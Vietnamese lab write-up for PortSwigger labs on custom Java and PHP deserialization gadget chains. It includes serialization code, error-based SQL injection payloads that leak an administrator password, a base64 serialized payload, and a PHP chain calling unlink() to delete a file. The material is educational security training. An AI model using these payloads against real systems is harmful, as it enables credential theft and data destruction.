Khi các chuỗi gadget có sẵn và các exploit đã được ghi nhận không thành công, chúng ta sẽ cần phải tạo ra exploit của riêng mình. Để xây dựng thành công chuỗi gadget của riêng mình, chúng ta gần như chắc chắn sẽ cần quyền truy cập mã nguồn.
- Nếu magic method không thể khai thác một mình, nó có thể đóng vai trò là “kick-off gadget” cho một chuỗi gadget.
- Nghiên cứu bất kỳ phương thức nào mà kick-off gadget gọi. Có phương thức nào trong số này thực hiện điều gì đó nguy hiểm với dữ liệu mà chúng ta kiểm soát không? Nếu không, hãy xem xét kỹ hơn từng phương thức mà chúng sau đó gọi, và cứ thế.
- Khi chúng ta đã tìm ra cách xây dựng thành công một chuỗi gadget trong mã ứng dụng, bước tiếp theo là tạo một đối tượng được tuần tự hóa chứa payload của chúng ta. Đây chỉ đơn giản là một trường hợp nghiên cứu khai báo lớp trong mã nguồn và tạo một đối tượng được tuần tự hóa hợp lệ với các giá trị thích hợp cần thiết cho exploit của chúng ta.
Lab: Developing a Custom Gadget Chain for Java Deserialization
Trang /my-account
tiết lộ một đường dẫn đến tệp mã nguồn:
<!-- <a href=/backup/AccessTokenUser.java>Example user</a> -->
Nội dung của tệp đó:
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
Nhưng đây là một cái bẫy.
Điều hướng đến /backup
, sẽ có một tệp mã nguồn khác có tên là ProductTemplate.java
. Nội dung của nó:
package data.productcatalog;
import common.db.JdbcConnectionBuilder;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
Như chúng ta đã biết, readObject()
là một magic method sẽ được gọi tự động trong quá trình deserialization. Tệp mã nguồn này định nghĩa lại logic của readObject()
sẽ thực hiện một truy vấn SQL. Ngoài ra, trong tệp mã nguồn ở trên, đầu vào id
do người dùng kiểm soát được truyền vào truy vấn, điều này làm cho mã này dễ bị tấn công bởi lỗ hổng SQL Injection].
Khai báo lớp được đơn giản hóa được sử dụng để tuần tự hóa:
package data.productcatalog;
import java.io.Serializable;
public class ProductTemplate implements Serializable {
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id) {
this.id = id;
}
public String getId() {
return id;
}
}
Rõ ràng, chúng ta cũng cần tạo một lớp có tên là Product
trong thư mục data/productcatalog
.
Cấu trúc thư mục:
│ Main.java
│
└───data
├───productcatalog
│ Product.java
│ ProductTemplate.java
│
└───session
└───token
AccessTokenUser.java
Trong đó Main.java
sẽ chứa logic chính của chúng ta để tạo đối tượng được tuần tự hóa độc hại.
Cụ thể, chúng ta sẽ tạo một phương thức được sử dụng để tuần tự hóa:
public class Main {
static String Serialize(final Object obj) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(512);
try (ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream)) {
out.writeObject(obj);
out.flush();
} catch (Exception ex) {
throw new RuntimeException(ex);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
String encoded = new String(Base64.getEncoder().encode(bytes));
return encoded;
}
}
Phương thức main()
sẽ tuần tự hóa một đối tượng với id
là payload SQL injection:
public static void main(String[] args) {
ProductTemplate productTemplate = new ProductTemplate("SQL Injetion Payload");
// Serialize the object
String serialized = Serialize(productTemplate);
System.out.println("Serialized: " + serialized);
// Deserialize the object
ProductTemplate deserialized = (ProductTemplate) Deserialize(serialized);
System.out.println("Deserialized: " + deserialized.getId());
}
Mục tiêu lấy lại mật khẩu của administrator
giống như Lab Visible Error-based SQL Injection. Vì vậy, chúng ta sử dụng cách tiếp cận của lab đó.
Đầu tiên, sử dụng payload này:
' and cast((select version()) as int) = 1--
Đối tượng được tuần tự hóa được tạo ra:
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAKycgYW5kIGNhc3QoKHNlbGVjdCB2ZXJzaW9uKCkpIGFzIGludCkgPSAxLS0=
Phản hồi có thông báo lỗi này:
<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit"
</p>
Tiếp theo, thử payload này:
'and(select username from users limit 1 offset 0)::int=1--
Phản hồi tiết lộ tên người dùng của administrator
:
<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "administrator"
</p>
Cuối cùng, chúng ta sử dụng payload này:
'and(select password from users limit 1 offset 0)::int=1--
Phản hồi có mật khẩu:
<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "1vkaymc4srmvzgd5k9nb"
</p>
Đăng nhập bằng administrator/1vkaymc4srmvzgd5k9nb
, truy cập /admin
và sau đó xóa người dùng carlos
.
Lab: Developing a Custom Gadget Chain for PHP Deserialization
Tìm thấy bình luận này trong /my-account
:
<!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
Truy cập /cgi-bin/libs/CustomTemplate.php~
để lấy mã nguồn:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
Info
Làm theo giải pháp: Lab: Developing a custom gadget chain for PHP deserialization | Web Security Academy (portswigger.net) để giải quyết lab này.
Đầu tiên, chúng ta thấy rằng lớp DefaultMap
có một magic method tên là __get()
gọi call_user_function()
, đây là một hàm nguy hiểm:
public function __get($name) {
return call_user_func($this->callback, $name);
}
Ngoài ra, chúng ta thấy rằng CustomTemplate
định nghĩa lại một magic method tên là __wakeup()
:
public function __wakeup() {
$this->build_product();
}
Phương thức này sau đó gọi phương thức build_product()
, phương thức này cuối cùng sẽ gọi hàm tạo của đối tượng Product
:
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
Important
Thực ra,
$desc->$default_desc_type
là__get('default_desc_type')
.
Hàm tạo của Product
sẽ gán thuộc tính desc
của nó cho $desc->$default_desc_type
:
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
Chúng ta sẽ sử dụng lệnh $desc->$default_desc_type
để gọi phương thức __get($name)
của DefaultMap
.
Cụ thể hơn:
desc
phải là một thể hiện củaDefaultMap
vớicallback
làunlink()
.default_desc_type
phải là"/home/carlos/morale.txt"
.
Các đối số này sẽ được gán cho các thuộc tính của một thể hiện của lớp CustomTemplate
.
Script cuối cùng:
include 'CustomTemplate.php';
$defaultMap = new DefaultMap("unlink");
$path = "/home/carlos/morale.txt";
$customTemplate = new CustomTemplate($defaultMap, $path);
$serialized = serialize($customTemplate);
echo $serialized;
Chúng ta cũng cần thực hiện một số sửa đổi trên lớp CustomTemplate
và lớp DefaultMap
. Đầu tiên, chúng ta thay đổi hàm tạo của CustomTemplate
thành thế này để chúng ta có thể sửa đổi giá trị của thuộc tính desc
trong quá trình khởi tạo.
public function __construct($desc, $desc_type = 'HTML_DESC') {
$this->desc = $desc;
$this->default_desc_type = $desc_type;
$this->build_product();
}
Ngoài ra, chúng ta cần thay đổi khả năng hiển thị của thuộc tính desc
và thuộc tính default_desc_type
thành public
để các thuộc tính được tuần tự hóa không có tên lớp (CustomTemplate
) được thêm vào trước nó như CustomTemplatedesc
hoặc CustomTemplatedefault_desc_type
:
class CustomTemplate {
public $default_desc_type;
public $desc;
// ...
}
Làm tương tự với thuộc tính callback
của DefaultMap
.
Related
list
from outgoing([[Port Swigger - Create Your Own Insecure Deserialization Exploit]])
sort file.ctime asc